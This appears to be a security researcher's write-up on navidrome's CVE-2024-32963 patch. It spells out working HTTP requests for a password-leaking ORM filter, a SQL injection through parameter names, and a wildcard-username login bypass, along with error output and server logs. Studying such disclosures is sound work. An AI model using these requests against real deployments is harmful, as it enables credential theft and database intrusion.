Sometimes, when reviewing the diff of a vulnerability, you can feel that there's more to uncover. CVE-2024-32963 is a classic example of this. Let's look at the patch:

 
func (r *playlistRepository) Update(id string, entity interface{}, cols ...string) error {
+ pls := dbPlaylist{Playlist: *entity.(*model.Playlist)}
  current, err := r.Get(id)
  if err != nil {
    return err
  }
  usr := loggedUser(r.ctx)
- if !usr.IsAdmin && current.OwnerID != usr.ID {
-   return rest.ErrPermissionDenied
+ if !usr.IsAdmin {
+   // Only the owner can update the playlist
+   if current.OwnerID != usr.ID {
+     return rest.ErrPermissionDenied
+   }
+   // Regular users can't change the ownership of a playlist
+   if pls.OwnerID != "" && pls.OwnerID != usr.ID {
+     return rest.ErrPermissionDenied
+   }
  }
- pls := dbPlaylist{Playlist: *entity.(*model.Playlist)}

Based on the code and comments, we see the issue relates to attackers potentially changing the playlist owner (pls.OwnerID). The code automatically maps HTTP parameters to database fields, a common feature in modern frameworks. To fix this issue, developers usually add parameters they don’t want mapped to a block list (or add parameters they want to be mapped to an allowed list). However, in this case, the mapping happens first, and an error is thrown if the playlist owner doesn’t match the user (usr.ID). My spidey sense was tingling...

When reviewing features like this, a hybrid approach works best: using the source code to make educated guesses and testing them on a live deployment. Since the code is a mix of three codebases (navidrome, rest, and squirrel) working together, you don’t want to bounce between them constantly. Instead, read a bit of code, think of some "What if..." scenarios, and test them. Luckily, navidrome is easy to spin up in a Docker container.

Why read 3000 lines of code when a single HTTP request can provide the same information?

ORM Leak

The first "What if" arises from the automatic mapping of URL parameters to SQL statements. The code doesn’t validate or prevent mapping. "What if I add parameters to filter information?" A typical request to retrieve users looks like this: /api/user?_end=15&_order=ASC&_sort=userName&_start=0.

Now, let’s play around by adding a parameter: /api/user?_end=15&_order=ASC&_sort=userName&_start=0&hack=theplanet

.

The response (edited for size) shows:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{"error":"no such column: hack"}[]

We can see the SQL query in the container logs:

navidrome-1 | level=error msg="SQL:  `SELECT count(distinct user.id) as count 
FROM user WHERE (hack LIKE {:p0})`" args="map[p0:theplanet%]" 
elapsedTime="123.292µs" error="no such column: hack" 
requestId=290767d3aa0b/pXJ9u3NCWV-000577 rowsAffected=1 username=admin

We can see that our extra-parameter ends up in a Like condition: WHERE (hack LIKE {:p0}). Now that we know this, we can add arbitrary parameters and use them to filter and leak information. The next step is to add the parameter password to the API call and use % to leak users' passwords:

• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=1%25
• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=2%25
• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=3%25
• /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password=.....%25

SQL Injections

Another "What if" comes from past experience. I found a similar vulnerability in a large Spring-based API. If you are a PentesterLab PRO subscriber, make sure to check out From SQL Injection to Shell III to learn more about this issue. "What if the parameters' names (not the parameters' values) are concatenated directly into the SQL query?" After all, you don’t use prepared statements for column names. Again, rather than reading through all the code, it's more efficient to test this kind of hypothesis on the live system.

A typical request to retrieve users looks like this: /api/user?_end=15&_order=ASC&_sort=userName&_start=0. We just need to add our injection payload in a parameter name: /api/user?_end=15&_order=ASC&_sort=userName&_start=0&password'=1. And we get the following error:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json


{"error":"unrecognized token: \"' LIKE ?) 
ORDER BY user_name asc LIMIT 15\""}[]

Again the container logs make it really easy to spot the vulnerability:

navidrome-1  | level=error msg="SQL: `SELECT * FROM user 
WHERE (password' LIKE {:p0}) ORDER BY user_name asc LIMIT 15`" 
args="map[p0:1%]"  elapsedTime="49µs" error="unrecognized token: \"'
 LIKE ?) ORDER BY user_name asc LIMIT 15\"" ...

A Small Authentication Issue to Finish

While I was there, I took a quick look at authentication. Aside from the fact that passwords are encrypted using AES in GCM mode instead of being hashed (this issue is documented in the project's issue tracker), I reviewed how users are retrieved by username:

func validateLogin(userRepo model.UserRepository, userName, password string) (*model.User, error) {
  u, err := userRepo.FindByUsernameWithPassword(userName)
  if errors.Is(err, model.ErrNotFound) {
  ...

func (r *userRepository) FindByUsername(username string) (*model.User, error) {
  sel := r.newSelect().Columns("*").Where(Like{"user_name": username})
  var usr model.User
  err := r.queryOne(sel, &usr)
  return &usr, err
} 
  
func (r *userRepository) FindByUsernameWithPassword(username string) (*model.User, error) {
  usr, err := r.FindByUsername(username)
  if err == nil {
    _ = r.decryptPassword(usr)
  }
  return usr, err
}

Instead of matching the username exactly using =, the code uses Like, allowing login using % as username. This allows attackers to login without knowing the full username just the password. While not a major issue, it’s still an interesting bug to find.

Conclusion

By leveraging code review techniques and a few "What if..." scenarios, it's possible to uncover vulnerabilities hidden within common patterns like automatic ORM mapping and SQL query building. Combining source code inspection with live testing can reveal even subtle security flaws, demonstrating the importance of hybrid approaches when conducting thorough code reviews.